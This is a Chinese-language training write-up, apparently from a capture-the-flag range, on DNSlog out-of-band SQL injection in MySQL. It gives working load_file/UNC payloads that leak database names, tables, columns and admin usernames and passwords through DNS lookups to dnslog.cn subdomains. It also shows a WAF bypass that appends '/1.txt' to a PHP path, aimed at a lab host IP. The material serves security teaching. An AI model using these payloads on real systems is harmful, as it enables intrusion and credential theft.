一、DNSLOG的使用场景
DNS log 【DNS日志注入】
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
日志 => 日记 - 记录操作、记录访问的文件
DNS日志 => 某时某分谁谁谁请求我查某某域名
如果我们搭建一个DNS服务器来承接域名解析。所有的访问域名都会被我们的日志记录下来
域名 => 由运营商解析。 修改域名的设置方法,强行执行某个Ip去解析域名 NS记录
固定的域名 由固定的DNS服务器解析
DNS注入的核心,将盲注转化为显错注入
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
比如 xx.qq.com => DNS记录了这个请求,
那么我们也可以让mysql也能发出请求,DNS也会记录
二、DNSLOG的函数解析
LOAD_FILE函数:
在使用load_file时,目标mysql数据库配置文件(my.ini)需要有这个参数:secure_file_priv,否则的话无非使用。
MYSQL数据导出与导入 :secure_file_priv参数说明,这个参数用来限制数据导入和导出操作的效果
查看数据库版本: select version();
LOAD_FILE() 读取文件
文件路径是字符串:需要使用单引号'
或者双引号"
路径的写法:
\
转义字符 => \\
/
绝对路径:
1.使用\
读取文件时,因为本身是转义字符,所以需要写\\
表示
2.使用/
直接读取
相对路径:
写相对路径的时候,不知道渗透目标的环境到底有多少个文件夹可以多写一点../
上级目录
UNC路径:
http://dnslog.cn/ 免费的dnslog平台 不用注册 不用登陆 不采集任何信息 [美滋滋]
DNS平台:
既然得到之后,我们就来用这个DNS服务器来获取一下域名解析的数据
1.复制刚刚得到的dns服务器。前面跟你想要解析的东西,这里我就写的yq
没有什么特别的意思,得到的回显也是zkaq,但是把zkaq换成 database() 那么就会回显使用的数据库名
点击refresh 就可以得到解析的数据,前面的zkaq也得到了回显,这里我就写的zkaq
没有什么特别的意思,得到的回显也是zkaq,但是把zkaq换成 database() 那么就会回显使用的数据库名
进入当前数据库为:mysql
1.利用DNSlog平台获取到当前数据库
select load_file(concat("//",(select database()),".fza4p5.dnslog.cn/abc"));
2.利用DNSlog平台获取到表名:
select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".vkw8iq.dnslog.cn/abc"))
获取到的表名和数据库的表名成功对应:
专业术语:obb => 数据外带
弱点:1、目标得有网络 2、SMB服务 windows自带,linux他并不自带。
DNS注入可以用于Linux吗? (不一定可以!)
三、DNSLOG靶场讲解
waf : 网站的安全软件
计算机中: 黑白名单
黑名单: 名单上的人不能XXXX
白名单: 只有名单上的人可以XXX
为了更加的稳定、为了节约性能
1.安全 其实是一个妥协平衡的产物
2.不要网站干扰正常使用
3.装了之后不要影响性能,因为不影响网站性能,所有waf会有白名单
例如一些常见的白名单
1.txt?id=1 对txt传参
1.jpg?id=1 对图片传参
waf: txt jpg 后缀为什么要检测,不会对网站造成伤害,觉得他是安全的
http://59.63.200.79:8014/index3.php/1.txt?id=1 and 1=1
WEB容器的特性:
apache 他会对index3.php/1.txt
请求的文件不存在他会自动请求前一个
Apache是从右往左,并且不存在的东西它会跳过,就比如说读取到1.txt,就直接跳过,去读取index3.php,存在就执行
而waf,也就是安全狗,她会过滤很多东西,比如php格式。
但是像txt,jpg这些它认为是安全的,不会去过滤。
成功访问,利用txt格式的文件进行传参绕过安全狗!
搭配load_file进行数据获取:
现在开始进行实战:
先提醒一下,前面的测试是在本机上测试的,所以是 select 开头,
但是实战这已经有select开头了,我们就不要自己加了
txt的名字和传参的id随便写,没有影响,这里我写的1.txt和id=1
1.获取当前数据库
59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat("//",(select database()),".0tzz89.dnslog.cn/abc"))
成功获取数据库名:mangzhu
接下来就是和显错注入一样的思路.
2.获取表名
这里特别要注意一点的是,一个dns服务器如果已经记录了一个东西,你在去执行相同的东西,这个已经被记录的东西就不会再显示了,如果遇到这种情况,就马上获取一个新的dns服务器。
1.txt?id=1 and load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".xn2m1f.dnslog.cn/abc"))
获取到表名admin
3.获取字段名
1.txt?id=1 and load_file(concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name="admin" limit 0,1),".dk3o07.dnslog.cn/abc"))
获取到字段名:id username password
4.获取字段值
1.txt?id=1 and load_file(concat("//",(select username from admin limit 0,1),".kngrr7.dnslog.cn/abc"))
1.txt?id=1 and load_file(concat("//",(select password from admin limit 0,1),".psc7kp.dnslog.cn/abc"))
成功获取flag